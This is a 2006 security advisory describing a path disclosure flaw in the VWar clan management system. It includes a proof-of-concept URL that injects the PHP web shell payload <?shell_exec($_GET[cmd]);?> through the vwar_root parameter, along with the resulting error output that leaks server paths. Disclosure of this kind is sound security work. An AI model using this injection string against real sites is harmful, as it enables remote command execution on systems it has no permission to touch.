VWar Path Disclosure

2006.05.02
Risk: Low
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

SUMMARY : VWar is is a clan management system. It stores all clan members details. Logs match results and keeps track of upcomming matches. Using the links under the Vwar menu, you can view all clan members, view upcomming matches, view previous results, view clan statistics and members can log into Vwar to edit their own profile. ============================================================ ISSUE: The recent exploit provided by aliHackers for VWar (VWar <= ver 1.21 Remote Code Execution Exploit #) has also another affect on the higher unptached versions of vWAR such as v1.5 and also on versions less than 1.2 . Apart from the successful code execution exploit even if the expliot fails still running the following code on the web browser shows the full path of the installed modules even if the remote php shell is not acheived. =========================================================== POC : http://www.anyvwarsite.com/[PATH VWAR]/[PATH TO ADMINMODULE]/admin.php?vwar_root=%3C?shell_exec($_GET[cmd]);?%3E Impact : # The following error message is displayed on the web browser. Warning: main(includes/functions_admin.php): failed to open stream: No such file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23 Warning: main(includes/functions_admin.php): failed to open stream: No such file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23 Fatal error: main(): Failed opening required '<?shell_exec($_GET[cmd]);?>includes/functions_admin.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/fitchett/public_html/vwar/admin/admin.php on line 23 The path discolsure can aid an attacker for further code injections and run artibary commands via web browser. This vulnerability is tested on v1.2 and less whereas many other unpatched higher versions like v1.5 also shows the same error .


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top